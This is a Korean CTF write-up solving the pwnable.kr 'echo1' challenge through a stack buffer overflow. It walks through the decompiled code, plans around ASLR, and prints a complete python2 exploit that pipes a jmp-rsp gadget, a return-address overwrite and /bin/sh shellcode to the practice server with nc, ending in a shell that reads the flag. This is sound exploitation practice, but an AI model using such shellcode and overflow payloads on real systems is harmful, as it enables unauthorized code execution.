Pwnable.kr [rookiss] echo1 문제풀이

이번 문제는 ida64로 풀었다.

일단 문제를 풀기 앞서 실행 흐름부터 확인해보자.

```
hey, what's your name? : qwer

- select echo type -
- 1. : BOF echo
- 2. : FSB echo
- 3. : UAF echo
- 4. : exit
>
```

문제를 실행시켜 보면 이름을 물어본뒤 echo 타입을 선택하라고 한다.

```
- select echo type -
- 1. : BOF echo
- 2. : FSB echo
- 3. : UAF echo
- 4. : exit
> 2
not supported

- select echo type -
- 1. : BOF echo
- 2. : FSB echo
- 3. : UAF echo
- 4. : exit
> 3
not supported
```

2번과 3번을 입력해보니 not supported라는 문자가 출력되면서 또다시 타입을 선택하라고 한다.

```
- select echo type -
- 1. : BOF echo
- 2. : FSB echo
- 3. : UAF echo
- 4. : exit
> 1
hello qwer
dfkldaflqijf
dfkldaflqijf

goodbye qwer
```

이번에는 1번을 입력해 보았더니 hello “이름” 을 출력하면서 입력을 받게 되는데 입력값안에 무작위로 넣어 줘보았더니 내가 주었던 값을 똑같이 출력 한수 goodbye “이름”을 출력한뒤 또 다시 타입을 선택하라고 나온다. 일단 대충 실행의 흐름은 파악을 한 것 같으니 64비트 프로그램들을 번역해주는 ida64로 프로그램 소스를 확인 해보자.

확인을 해보니 1번을 입력하면 echo1함수를 2번을 입력하게 되면 echo2함수를, 3번을 입력하게 되면 echo3 함수를 열게 된다. 그럼 입력을 받아 우리가 무언가를 할 수 있을것 같은 echo1함수를 열어 확인 해보자.

```
int echo1()
{
  char s; // [sp+0h] [bp-20h]@1

  (*(o + 3))(o);
  get_input(&s, 128LL);
  puts(&s);
  (*(o + 4))(o);
  return nullsub_4();
}
```

echo1함수의 내부이다. 소스를 보게 되면 s의 변수는 ebp-20부터 저장 되게 되는데 scanf로 s에 입력을 받을 때에는 최대 128byte까지 입력을 받을 수 있다.

여기서 알게된 것은 일단 echo함수안의 있는 retrun address를 조작 하여 다른곳으로 이동 할 수 있는 것을 알게 되었다. 일단 목적은 flag를 여는 것. Echo문제에서 system함수를 사용 하고 있지 않기 때문에 열수 있는 방법은 두가지가 있다. 일단 첫번째 방법으로는 RTL로써 리턴값을 라이브러리의 주소를 주는 방법.
그리고 두번째 방법으로는 빈공간에 쉘코드를 입력을 한뒤 리턴값으로 쉘코드 주소를 줘서 쉘을 띄우는 방법.

하지만. 첫번째 방법에는 문제가 하나있다. Adress Space Layout Random 즉, ASLR이라는 정보 보호 기법 때문인데 말그대로 주소 공간을 랜덤으로 주는 정보 보호 기법이다.

그럼 두번째 방법으로 하게 될텐데 가장 좋은 방법이 무엇이 있을까.
scanf로 인자를 받는 char형 s 안에 쉘코드를 입력해서 s로 띄워주면 좋을 것 같지만.
스택안의 주소는 계속 랜덤적으로 바뀌기 때문에 불가능하다.

우리는 그럼 리턴으로 띄워줄 주소를 언제나 주소가 같은 변수를 찾아야 하는데, main에서는 전혀 선언을 해주지 않지만 사용하고 있는 id라는 변수를 찾을 수있었다. 변수 선언을 해주지 않았지만 사용 하고 있다는 것으로 전역 변수 임을 알수 있었다.

하지만 id변수 안에 쉘코드를 입력하여 쉘을 띄우기에는 id의 공간이 너무 작았고, 그래서 생각한 방법이 main 함수가 리턴되고 나서 스택포인터가 하나 증가된 그 공간인 rsp에 쉘코드를 써 넣어준다음 id라는 변수에서 스택포인터가 증가된 공간 즉, rsp에 띄어주면 쉘을 띄울수 있을것 같아 한번 확인해보았다.
파이썬에서는 어셈블리 명령어를 해석하지 못하기 때문에 16진수로 표현하여 써넣어줬다.

```
(python2 -c 'print "\xff\xe4\n" + "1\n" +"a" * 40 + "\xa0\x20\x60\x00\x00\x00\x00\x00"
+"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x5
4\x5f\x6a\x3b\x58\x0f\x05"' ; cat) | nc pwnable.kr 9010


hey, what's your name? :
- select echo type -
- 1. : BOF echo
```

- 2. : FSB echo
- 3. : UAF echo
- 4. : exit
> hello
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `
goodbye
ls
echo1
flag
log
super.pl
cat flag

flag를 열수 있었다. :)